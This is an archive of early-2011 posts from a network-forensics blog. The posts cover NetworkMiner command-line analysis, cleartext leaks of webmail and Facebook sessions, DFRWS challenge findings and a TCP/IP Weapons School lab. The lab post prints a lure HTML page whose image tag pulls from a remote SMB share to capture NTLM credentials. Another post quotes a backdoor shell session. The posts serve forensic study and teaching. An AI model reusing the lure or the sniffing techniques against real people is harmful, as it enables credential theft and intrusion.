Example: F:\NetworkMinerProfessional_1-0\NetworkMinerCLI.exe -r evidence.pcap -w D:\exported_data\

When a pcap is loaded by NetworkMinerCLI it will generate eight CSV files containing data about Sessions, Parameters, Credentials, CleartextWords, DnsRecords, FileInfos, Messages and Hosts. All assembled files will also be written to disk. The assembled files, as well as the seven CSV files, are written to the current working directory or to the directory specified with the -w argument.

This is what it looks like when loading suspect.pcap from the DFRWS 2008 challenge into NetworkMinerCLI (don't let my Swedish cmd.exe shell confuse you):

F:\pcap_files\DFRWS\Challenge 2008>F:\NetworkMinerProfessional_1-0\NetworkMinerCLI.exe -r suspect.pcap
Closing file handles...
10243 frames parsed in 56,084 seconds.

F:\pcap_files\DFRWS\Challenge 2008>dir
 Volymen i enhet F har etiketten NETRESEC
 Volymens serienummer är 7017-B488

 Innehåll i katalogen F:\pcap_files\DFRWS\Challenge 2008

2011-02-23 21:19 <KAT>        .
2011-02-23 21:19 <KAT>        ..
2007-12-16 23:32    5 110 493 suspect.pcap
2011-03-04 17:20 <KAT>        AssembledFiles
2011-03-04 17:21       15 098 suspect.pcap.Sessions.csv
2011-03-04 17:21      459 868 suspect.pcap.Parameters.csv
2011-03-04 17:21       83 034 suspect.pcap.Credentials.csv
2011-03-04 17:21    3 271 213 suspect.pcap.CleartextWords.csv
2011-03-04 17:21       23 748 suspect.pcap.DnsRecords.csv
2011-03-04 17:21      182 382 suspect.pcap.FileInfos.csv
2011-03-04 17:21          837 suspect.pcap.Messages.csv
2011-03-04 17:21        8 009 suspect.pcap.Hosts.csv
             9 fil(er)       9 154 682 byte
             3 katalog(er) 711 819 264 byte ledigt

F:\pcap_files\DFRWS\Challenge 2008>

I've uploaded the generated suspect.pcap.Parameters.csv file so that you can have a look at what the CSV files from NetworkMiner look like. Corey Harrell has by the way recently written a great blog post on how to do forensic work with CSV files in OpenOffice Calc on his Journey into Incident Response Methodology blog.

The CSV files can also be parsed directly from command line with help of some script-fu. I admit being a Windows nerd, but I have still not gone through the pain of learning Windows PowerShell properly. I therefore prefer to use Cygwin, or actually xterm in Cygwin/X, in order to assemble the power of the GNU bash shell while running Windows. I can for example use the following command in order to get a list of all detected gmail accounts and the logged in clients' IPs:

cat suspect.pcap.Parameters.csv | grep gmailchat | awk -F',' '{print $1" "$9}' | sort -u

Here is a short explanation of the command above for people without UNIX fingers:

  • grep gmailchat : selects all lines in the csv file containing the string “gmailchat”
  • awk -F',' '{print $1" "$9}' : tokenize text between commas and display first token (IP address) and ninth token (gmail account)
  • sort -u : sort each outputed line and only display unique lines (remove duplicates)

The same method can also be used in order to quickly filter out Google searches from a pcap file (remember that the search strings are sent to Google with the 'q' parameter):

cat suspect.pcap.Parameters.csv | grep 'HTTP QueryString,q,'|awk -F',' '{print $1" "$9}' overseas credit card payments hurricane

Or to get all the frame numbers (in the pcap file) where the word “bank” has been sent in clear text:

grep bank suspect.pcap.CleartextWords.csv -i | awk -F',' '{print$1" "$2}' | sort -u
Bank 1551
Bank 1553
Bank 1559
Bank 1566
Bank 1568
Bank 1617
Bank 1619
Bank 1629
Bank 1708
Bank 1710
Bank 1716
Bank 1724
bank 2063
banks 5797

It should also be noted that NetworkMinerCLI extracts and writes all identified files to disk, just as the normal GUI version of NetworkMiner Professional does. A good overview of these extracted files can be found in the suspect.pcap.FileInfos.csv CSV file. So if you are looking for a particular file you can search the suspect.pcap.FileInfos.csv for the MD5 sum like this:

grep e516cd1dbad131024693d31155a6577f suspect.pcap.FileInfos.csv | awk -F',' '{print $9" "$5}'
e516cd1dbad131024693d31155a6577f XRamp Security Services G.cer
e516cd1dbad131024693d31155a6577f XRamp Security Services G[1].cer
e516cd1dbad131024693d31155a6577f XRamp Security Services G[2].cer

In order to get your hands on a copy of the NetworkMinerCLI tool you need to buy a license for NetworkMiner Professional, since the USB flash drive contains the GUI as well as the CLI version of NetworkMiner Professional.

Posted by Erik Hjelmvik on Friday, 04 March 2011 17:12:00 (UTC/GMT)

Tags: #NetworkMinerCLI #DFRWS

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Hak5 Crack the Code Challenge

Last week I did a blog post about NetworkMiner videos on the Internet. Just a couple of days later the Hak5 crew published a Crack the Code Challenge where NetworkMiner was included as part of the challenge zip file. The solution and winners of this challenge were announced on the Hak5 Episode 902.

The Crack the Code Challenge is covered 10 minutes into the video.

Posted by Erik Hjelmvik on Thursday, 03 March 2011 20:45:00 (UTC/GMT)

Tags: #NetworkMiner #Video

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Criminal Justice Degree Schools

Criminal Justice Degree Schools Top 25 Forensics Blogs

I'm happy to announce that this blog is on Criminal Justice Degree Schools' Top 25 Forensics Blogs list. Other blogs listed under the Computer Forensics category are Harlan Carvey's Windows Incident Response blog, Forensics from the Sausage Factory and The Digital Standard, all three of them are very good blogs that I recommend following if you are in the computer forensics field.

I did a short Q-and-A with Charles Sipe, Executive Editor of Criminal Justice Degree Schools, in order to get some more information about who they are and what they are doing.

Q: Who is your target audience?
A: Our target audience are individuals interested in entering or advancing in criminal justice career fields, which includes law enforcement and forensics related careers.

Q: How many and what persons are running the website?
A: We are a small privately held corporation that is growing with a team of 4 people plus contractors. I am the Editor of the site.

Q: Is a non-profit organization or company?
A: We are a for-profit company and our site is supported by advertising. It is free to use and there is no registration required.

Q: What is the goal/purpose with the website?
A: Our goal is to help those searching for career information to make informed decisions on fit and options for criminal justice careers and education. We gather information from a variety of sources to make it convenient for our readers to find information in one place. We feature thought leader interviews with law enforcement, paralegals, criminal justice professors, criminal justice association spokespeople and others to provide useful insights to prospective criminal justice students.

For more information, please check out their Forensics Degree and Career Center

Posted by Erik Hjelmvik on Friday, 25 February 2011 16:56:00 (UTC/GMT)

Tags: #Forensics

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

NetworkMiner Video Tutorials on the Intertubes

There are many good video tutorials for NetworkMiner available on the intertubes, so I thought I would share some of my favorite videos on this blog.

NetworkMiner for Network Forensics
Creator: Adrian Crenshaw (Irongeek)
Publication Date: December 2008
Featuring: NetworkMiner 0.87

Adrian Crenshaw, a.k.a. Irongeek, is a very active guy in the network security field. He was, not surprisingly, also an early adopter of NetworkMiner. Adrian has put together a great tutorial on NetworkMiner, which is best viewed by visiting the Irongeek webpage.

NetworkMiner for Network Forensics

Network Tap Analyzers
Creators: Hak5 and Mubix (Rob Fuller)
Publication Date: May 2009
Featuring: NetworkMiner 0.87 and NetWitness Investigator

Hak5 do some great quality video productions, even though the show hosts (Darren and Shannon) might not always get all the technical details right.

In this episode of Hak5 Mubix joins the show to demo a couple of network forensics tools. Apart from showing how to access reassembled files, credentials and parameters Mubix also extracts the SA credentials for an SQL database from captured network traffic.

Network miner packet analyzer.avi
Creator: martinswfranzen
Publication Date: May 2010
Featuring: Wireshark and NetworkMiner 0.91

This tutorial unfortunately has no sound, but I still enjoy it. The tutorial shows web traffic being sniffed Wireshark and saved to a pcap file. The pcap is then loaded into NetworkMiner and various reassembled web pages are displayed. The tutorial also shows how credentials (username and password) can be extracted with NetworkMiner for unencrypted logins to the content management system webSPELL.

Twitter Security Hole
Creator: Steven Whiting
Publication Date: May 2010
Featuring: NetworkMiner 0.91

Steven shows how he was able to use NetworkMiner to extract his Twitter username and password while changing his account settings. Steven also has another video showing a related security flaw in Twitter.

I alerted about this flaw on May 5 2010 and got a swift acknowledgment from Bob Lord. It did, however, take Twitter several months until they had mitigated the flaw by applying HTTPS for when users re-enter their passwords on their website.

Network Miner Tutorial
Creator: Anton Schieffer
Publication Date: February 2011
Featuring: NetworkMiner 0.92

In this tutorial Anton talks about OS fingerprinting and shows how to access extracted files, images and extracted login credentials. Anton also provides a nice example of how to use the keyword search functionality in NetworkMiner.

Creating new NetworkMiner videos

There to this date no video tutorials for NetworkMiner 1.0 published on the Internet. I would be happy to promote such new videos on this blog. It would also be fun to see a video showing how to solve one of the many network forensic challenges available on the Internet, such as the DFRWS 2008 challenge, the Tao Security  TCP/IP Weapons School Sample Lab or any of the many puzzles at

Some hints on what to look for in these pcap files can be found in the slides for the Network Forensics Workshop I held at the Europol High Tech Crime Experts Meeting back in 2009.

PS. You can find even more publicly available pcap files at our list of publicly available PCAP files.

UPDATE 2018-02-15

We have released a series of Network Forensics Video Tutorials, which show how NetworkMiner as well as other tools can be used in order to analyze network traffic in PCAP files.

Posted by Erik Hjelmvik on Tuesday, 22 February 2011 17:15:00 (UTC/GMT)

Tags: #NetworkMiner

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Webmail Information Leakage

Switching protocol from unencrypted HTTP to encrypted HTTPS is a good move in order to help the users of a website to protect their privacy online. Many webmail providers have therefore started rolling out their encrypted services during the past few years. Google announced their optional “always use https” setting back in 2008 and also provided some guidance as to why it was important to use HTTPS:

Https keeps your mail encrypted as it travels between your web browser and our servers, so someone sharing your favorite coffee shop's public wifi can't read it.

It took Microsoft Hotmail until November 2010 to announce their optional support for HTTPS encryption, which users could activate by visiting

Adding the option to manually turn on encryption seems to satisfy most people in the security community, probably since it enables us geeks to protect our privacy online through encryption. But the majority of the webmail users online are not aware of the risk of getting their traffic sniffed and do also not know how to turn the encryption feature on. The encryption must therefore be turned on by default in order to protect the broad mass of webmail users.

An open letter written by some well known security profiles, such as Jacob Appelbaum, Richard Clayton, Roger Dingledine, RSnake, Jeff Moss, Ronald L. Rivest and Bruce Schneier, was sent to Google in June 2009. In the letter the authors requested that Google should turn on encryption as part of the default settings:

Rather than forcing users of Gmail, Docs and Calendar to “opt-in” to adequate security, Google should make security and privacy the default.

The letter also mentioned that other competing webmail providers had even worse security since they didn't even provide any “opt-in” encryption at that time:

Google is not the only Web 2.0 firm which leaves its customers vulnerable to data theft and account hijacking. Users of Microsoft Hotmail, Yahoo Mail, Facebook and MySpace are also vulnerable to these attacks. Worst of all – these firms do not offer their customers any form of protection.

But how many of the major webmail providers do actually provide HTTPS as the default protocol today? We will in this blog post look closer at two major webmail services online: Gmail and Hotmail.


Just like most other webmail services Google's Gmail use HTTPS to encrypt the username and password while logging in. But Gmail now also provide encryption by default also after the user has logged in. This prevents hackers as well as investigators/analysts from extracting sent emails by sniffing network traffic.

Hackers have on the other hand been able to take over other users' logged in Gmail sessions for some time by sniffing the GX cookie and using it to fool Gmail that they are logged into the victim's user account. Google have now mitigated this issue by adding encryption and setting the GX cookie to “Secure connections only”, which means it will only be sent in HTTPS sessions.

There is, however, another cookie parameter used by Gmail that is allowed to be sent across an unencrypted HTTP session. This cookie is called “gmailchat” and is typically submitted when visiting This cookie parameter is picked up by NetworkMiner and displayed on both the Credentials tab as well as the Parameters tab.

gmailchat parameter

The client IP address, login time and Gmail account of a gmailchat cookie can be used as evidence by an analyst in order to determine which person that was using a particular computer at a particular time.


The security in Hotmail is much worse than that of Gmail. With default settings only the login is protected with encryption, everything after that is sent in cleartext HTTP. This makes it possible to extract emails sent with Hotmail just by passively sniffing the network traffic from a logged in Hotmail user. In our recent “TCP/IP Weapons School” blog post we showed how NetworkMiner displays extracted emails in the Messages tab, this feature works just as well also with Hotmail traffic. By loading a pcap with Hotmail web traffic into NetworkMiner you would get something like this:

Extracted Hotmail message

You can also use the Parameters tab to look for parameter names “fFrom”, “fTo”, “fSubject” and “fMessageBody” and thereby manually extract who sent and received the email as well as read the subject and message of the email. These parameters are all sent in an unencrypted HTTP POST to

So if you're using Hotmail or Windows Live Mail, make sure to visit and enable the encryption functionality!

Posted by Erik Hjelmvik on Saturday, 12 February 2011 15:01:00 (UTC/GMT)

Tags: #Hotmail #SSL #HTTPS #NetworkMiner

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Name the Chazwazza in IPv6

Hexarthrius parryi paradoxus

In IPv4 we denote each byte of the IP address with the word ”octet”, since it’s eight bits long of course. I.e. in the IP address “” the first octet would be 194, the second 9 etc.

But how are we supposed to handle the various parts of IPv6? An IPv6 address might look like “2a02:0250:0000:0001:0002:0003:0004:0005”, where each address is made up of eight 16-bit segments separated by colons. But what do we call each such segment? Using the word “segment” might cause confusion since it is a word that has another meaning to network people (think “network segments”). Using the IPv4 word “octet” would also be terribly wrong since we’re talking about 16-bit values here, not 8-bit values.

IETF now seem to have realized that there is currently no standardized naming of the eight parts that make up an IPv6 address, and have therefore issued an Internet Draft called “Naming IPv6 address parts”.

The draft mentions some crazy name alternatives, such as “Chazwazza” and “Colonade”. The best proposal in the IETF draft is in my opinion “Chunk”, even though it doesn’t provide any clue about the bit-length.

There are currently two different online polls going on to give input as to what we should name the IPv6 parts. One on the My Etherealmind blog and one on Doodle. I like the Doodle poll better since it introduces a name that I prefer to use, namely “Hextet”.

Posted by Erik Hjelmvik on Saturday, 05 February 2011 08:05:00 (UTC/GMT)

Tags: #IPv6

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Facebook, SSL and Network Forensics

Facebook announced earlier this week that they will start enabling the ability to encrypt all communication to their servers though HTTPS (i.e. HTTP over SSL). Until now it is only the login that has been encrypted, all other Facebook traffic has been sent in clear text.

I suppose it was the Firesheep plugin for Firefox that forced the Facebook developers into pushing out this encryption-for-all-traffic feature. My personal opinion is that this encryption feature is something that has been needed for a long time in order to protect the privacy of all the Facebook users. By looking at network traffic from a Facebook user it has been quite simple see what email address the Facebook account is registered with as well as to extract messages that have been sent to other users. This means that anyone who has been able to sniff a user's network traffic has also been able to extract this information. One simple way to get hold of Facebook network traffic would be to bring a laptop to the nearest coffee shop with free WiFi, Starbucks seems to be a popular choice for such activities.

It is, however, not only script kiddies leeching free WiFi at Starbucks who are wanna listen in on Facebook sessions. Incident response teams as well as law enforcement utilize network forensics regularly in order to investigate computer security incidents and criminal activity. The goal of performing network forensics on Facebook traffic could be to find out who is using a particular computer or to track a botnet or worm that is running its command and control channel over Facebook. In Mandiant's recent M-trends 2011 they note that APT are starting to utilize third-party Internet services, such as Facebook, for data theft as well as command and control. The fact that Facebook are going down the SSL route therefore limits the ability of investigators to perform network forensics.

There are of course way so capture network traffic even though it is encapsulated in an SSL stream. When investigating malware one can for example perform a man-in-the-middle attack by proxying all traffic trough a server controlled by the investigator. In cases when malware achieves SSL encryption by running stunnel, or some similar encryption service running on localhost, one can rely on a simple tool such as a socket proxy in order to dump the network traffic before it is encrypted.

Looking inside SSL encrypted streams is unfortunately much more difficult when you don't have full access to the SSL client computer. In order to decrypt SSL traffic one need to know the session key, which is typically unique for each individual session. And in order to get hold of the session key one need to be able to intercept and decode the key exchange at the beginning of the SSL session. There are multiple ways to perform the key exchange in SSL, but the most common ways are to either use RSA or to use ephemeral Diffie-Hellman key exchange. When RSA is used, and a passive listener is in possession of the server's private RSA key, one can actually decode the SSL traffic. Diffie-Hellman key exchange does, on the other hand, use a scheme where a new random private key is generated for each individual session. This prevents a third-party listener, who did not participate in the key exchange, from decoding the SSL session.

I took a quick look at Facebook's SSL encryption feature by sniffing traffic from an IE7 client establishing an HTTPS session towards Facebook. Running the pcap through tshark gives the following output from the client's SSL hello message:

Secure Socket Layer
SSL Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.0 (0x0301)
Length: 123
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 119
Version: TLS 1.0 (0x0301)
gmt_unix_time: Jan 30, 2011 10:10:51.000000000
random_bytes: D75BFFDF5F2DB997C8CBA54DE8B57B76AAC4EF2D16E593D5...
Session ID Length: 0
Cipher Suites Length: 24
Cipher Suites (12 suites)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005)
Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)
Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)

This gives the Facebook server multiple options when it comes to choosing the key exchange algorithm, including both RSA and ephemeral Diffie-Hellman (DHE).

Looking closer at the server hello from Facebook we see this:

Secure Socket Layer
TLSv1 Record Layer: Handshake Protocol: Server Hello
Content Type: Handshake (22)
Version: TLS 1.0 (0x0301)
Length: 74
Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
Length: 70
Version: TLS 1.0 (0x0301)
gmt_unix_time: Jun 8, 2028 22:15:05.000000000
random_bytes: 3CD8EB6009A4CA6ECEAE9FC514DEC967C848FC2B0A5406CF...
Session ID Length: 32
Session ID: 54DFE1534E829C3AC0CF0D604C0AEF7973DAA64367870057...
Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)
Compression Method: null (0)

Facebook selects RSA for key exchange and RC4 for session encryption. This makes the HTTPS traffic to Facebook fairly easy to decrypt for Mark Zuckerberg, or whoever would be in possession of the private RSA key used by Facebook.

By the way, here is a good YouTube video on how to enable SSL encryption on your Facebook account.
And here is a blog post that explains how to decrypt SSL traffic with Wireshark.

Posted by Erik Hjelmvik on Sunday, 30 January 2011 21:21:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

DFRWS 2009 Network Forensics

I noticed that Juan Leaniz recently posted his analysis of the DFRWS challenge from 2009 on the SANS Computer Forensic Investigations and Incident Response Blog.

I actually submitted a contest entry to this challenge back in 2009, titled "Nothing but Network Forensics". The idea behind my entry was to see just how much information that could be extracted from the pcap files included in the challenge without even looking at the physical memory dump or filesystem images that also were provided as part of the challenge.

I will here provide some highlights from my analysis of the 2009 DFRWS challenge pcap files:

There were two persons involved in the case, I call them "NSSAL" and "JHUISI". I managed to extract the avatar images that were downloaded by these persons when they logged into their online PlayStation accounts.

NSSAL Avatar JHUISU Avatar

The actual URL these avatar images were extracted from was Yes, that's right, HTTP over TCP port 10060. Extracting these images was much easier to do with NetworkMiner Professional, since it would automatically detect this TCP session as running HTTP with help of the built in port-independent protocol identification feature.

NetworkMiner Professional Screenshot with Images tab

NetworkMiner Professional Screenshot with Files tab

I also used NetworkMiner to see what Google queries that NSSAL performed. By opening the Parameters tab, sorting contents on "Parameter name" column and scrolling down to parameter name "q" i found that NSSAL had searched for:

  • mardi gras
  • mardi gras pictures
  • mardi gras pictures k00l
Search queries sent to Google and many other search engines use parameter name "q" to denote the query. A google search for "netresec" would for example have an URL such as

The Hosts tab in NetworkMiner also provides more detailed info about the machines involved in this case. The computer used by NSSAL was actually a PS3 console (with MAC 001FA7B21ADE) that was running Sony's own CellOS with IP address The OS fingerprinting feature of NetworkMiner does not contain any OS class for the PS3 CellOS, the console therefore gets fingerprinted as FreeBSD. I suppose FreeBSD is quite similar to CellOS since the CellOS is in fact believed to be a branch from the FreeBSD/Darwin development tree.

NetworkMiner Professional with Hosts tab from DFRWS 2009

NSSAL's PS3 was later rebooted into Ubuntu Linux with IP (notice that the MAC address in the screenshot above remained unchanged). I could tell that NSSAL's PS3 was running Ubuntu Linux since the OS fingerprinting functionality provided by Satori and p0f both show that the TCP/IP stack behaves as Linux. The SSH banner-grabbing functionality included in NetworkMiner also says that NSSAL's machine was running "OpenSSH_5.1p1 Debian-3ubuntu1".

I should probably also mention the backdoor I found being used by JHUISI to get into NSSAL's machine. The initial commands sent in the remote shell session from when this backdoor was used looks as follows:


Backdoor by darkXside

Enter the second password.

Password accepted!
[backdoor]# ls
[backdoor]# ls
[backdoor]# rm backd00r

This backdoor sure looks very much like a modified version of darkXside's backd00r.c to me.

By the way, I will try to provide a similar analysis of the DFRWS challenge from 2008 on this blog sometime in the near future. The 2008 challenge was in fact much more interesting to investigate, from a network forensics perspective, than the 2009 challenge that we have looked at in this blog post.

Posted by Erik Hjelmvik on Wednesday, 26 January 2011 20:26:00 (UTC/GMT)

Tags: #DFRWS #Forensics

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Proxocket - A Winsock Proxy Sniffer

There are many ways to capture network traffic on Windows machines. The most common way is undoubtedly to use a link-layer driver such as WinPcap's NPF-driver or Microsoft's Network Monitor driver. These drivers are typically used by applications like Wireshark and Microsoft's Network Monitor to provide low level network access, so that packets can be captured without having to pass through the TCP/IP stack.

Another sniffing option is to use Raw Sockets, which can be used to capture traffic one more layer up the stack (between the Link and Internet layer). Raw Sockets is, however, a topic that I plan to cover more in detail on this blog in the future so I will not dwell any more on it in this post.

What I really wanna write about in this blog post is a third way to capture network traffic: Winsock proxy capturing.

Luigi Auriemma has built a great tool called Proxocket, which can be used to capture calls between an application and the Winsock functions in Windows. Proxocket is simply two DLL files (ws2_32.dll and wsock32.dll) which should be placed in the same directory as the .exe of the application for which you wanna monitor network traffic. These DLL files act as proxies to the real Winsock DLL files (with the same names), which reside in "C:\Windows\System32\". Placing Luigi's proxy DLLs in the same folder as the .exe file causes the application to load the proxy DLLs rather than the real Winsock DLLs. Proxocket relays all packets between the application and the real Winsock DLLs, but every relayed packet is also written to a .cap file by Proxocket.

Proxocket injects between application and Winsock

Not only does Proxocket let you sniff the traffic to and from an application without having to load a new network driver or raw socket sniffing application, it also makes it possible to sniff traffic going to localhost. But why would someone wanna establish a network connection to localhost, you might ask. I have personally used localhost sockets in my applications when I have code running in different processes or threads and need an effective way for them to exchange data in an asynchronous manner (NetworkMiner does not use localhost sockets for inter-process communication though). I'm actually pretty sure many software developers use localhost sockets when they need to provide data exchange between different processes.
Localhost connections are also used when running Stunnel or TOR proxies on your local machine, which encrypt all outgoing traffic. You can thereby use Proxocket in order to capture the network traffic BEFORE it is encrypted by Stunnel or TOR.

I have found Proxocket very practical when I need to capture traffic from just a single application. I did, for example, use Proxocket when collecting training data for obfuscated protocols (like BitTorrent's MSE protocol and Skype) when laying the grounds for my "Breaking and Improving Protocol Obfuscation" report.

By the way, Luigi is probably primarily known for being the number one vulnerability discoverer of all time according to X-Force in 2008 (I'm not sure he still holds the #1 spot though). He seems to have a special interest for finding and reporting bugs in computer games, and I do suspect Proxocket comes in quite handy when doing that type of vulnerability analysis.

Posted by Erik Hjelmvik on Thursday, 20 January 2011 20:05:00 (UTC/GMT)

Tags: #Netresec #Sniffing #TOR

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Analyzing the TCP/IP Weapons School Sample Lab

Richard Bejtlich published a sample lab from his TCP/IP Weapons School class two years ago. I haven't yet had the opportunity to take this class, but I have taken a look at the pcap file that Bejtlich included in this sample lab.

The introduction provided to this lab in the Student Workbook outlines the incident:

Samantha is back with another potential security incident. She said she received another email from her friend Samuel that resulted in suspicious computer activity. She clicked on a URL but didn’t see anything interesting. Again she wonders if her computer was "hacked".

I decided to load the pcap file into NetworkMiner to see what it can unveil.

The "Messages" tab in NetworkMiner provides quick access to the email Samantha received:

NetworkMiner Professional 1.0 Messages tab showing extracted email

The message body of the email says:

Hi Samantha,

Sorry that last link didn't work. Here is a new cool Web page!


Attached to the email is also a file called “cool_web_page.html” (see “filename” attribute in the screenshot above). This file is already reassembled and extracted to disk by NetworkMiner when it loaded the pcap file. The easiest way to locate the file is to open the “Files” tab, sort on filename and scroll down to “cool_web_page.html”. Right-clicking the file and selecting “Open folder” causes NetworkMiner to open up the folder on the computer where the file was extracted.

Warning: it is almost never a good idea to select “Open file” in NetworkMiner, since that would cause the potentially malicious file to be executed. Only use this option if you are absolutely sure that the extracted file isn't malicious, or if you wanna perform behavioral analysis of the malicious code in a sandboxed environment.

The contents of the cool web page are:

<TITLE>Why do you open these links?!?</TITLE>
<IMG SRC="\\\share2\1.jpg">

This sure looks fishy to me, since the image tag tells the browser to load an image from an SMB network share rather than a web server. Luckily NetworkMiner parses the SMB (a.k.a. CIFS) protocol, so any file that has been transferred over SMB will show up in the files tab. No file transfer using SMB can be seen there though. The “Sessions” tab, on the other hand, confirms that there has been SMB communication between Samantha's computer ( and the suspicious machine with IP

Note: NetworkMiner displays the SMB protocol as “NetBiosSessionService”, which is the underlying protocol that provides the session layer for SMB.

NetworkMiner Professional 1.0 Sessions tab with SMB session

Interestingly enough we do not only see an SMB session from Samantha's computer to the suspicious machine, but also a second SMB session where the suspicious machine seems to connect back to Samantha's computer. This is odd, it causes me to suspect that a an SMB relay attack (MITM + pass-the-hash) could have been performed. A quick look at the credentials tab verifies this suspicion, since I can see that the exact same credentials that are sent from Samantha's computer (user account “samantha” and an HMAC) are replayed by the suspicious machine back to Samantha's computer. Hence the suspicious machine is authenticating itself to Samantha's computer by using her own credentials.

NetworkMiner Professional 1.0 Credentials tab with NTLMv2 login

This is pretty much as far as I could get by only using NetworkMiner. To see what actions the attacker did after performing the pass-the-has attack one would have to look at the network traffic on a packet level (with for example Wireshark, tshark or tcpdump). Doing so will for example reveal a failed attempt at accessing the IPC$ share on Samantha's computer.

This blog post could have ended here, but I also discovered some interesting excess information when analysing Bejtlich's TCP/IP Weapons School capture file. There were multiple SSL sessions in the pcap, most of them using the standard TCP 443 port. But the protocol identification functionality provided in NetworkMiner Professional also identified some SSL sessions going to servers on TCP ports 9001 and 8192. To me these SSL session look very much like TOR traffic. The encryption functionality in TOR is actually designed to mimic the TLS handshake of Firefox+Apache, but they use self signed certificates rather than certs signed with by a trusted CA.

NetworkMiner extracts all certificates used in the SSL handshakes to disk, so it is easy to inspect them by looking in the files tab. Just sort the files on the Protocol column and look for “TlsCertificate” in order to quickly locate the extracted certificates.

NetworkMiner Professional 1.0 Files tab with extracted TOR/SSL certificates

Posted by Erik Hjelmvik on Saturday, 15 January 2011 14:37:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #SMB #TOR #SSL

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

The Netresec Blog is now Online!

This is the first blog post of the Netresec blog.

The topics that will be covered on this blog will mostly be about network security and network monitoring. Related fields like "normal" IT security, protocol design, software development and digital forensics will most likely also be touched upon at times.

Posted by Erik Hjelmvik on Monday, 03 January 2011 18:45:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:


NETRESEC on Twitter

Follow @netresec on twitter:


Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2017)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)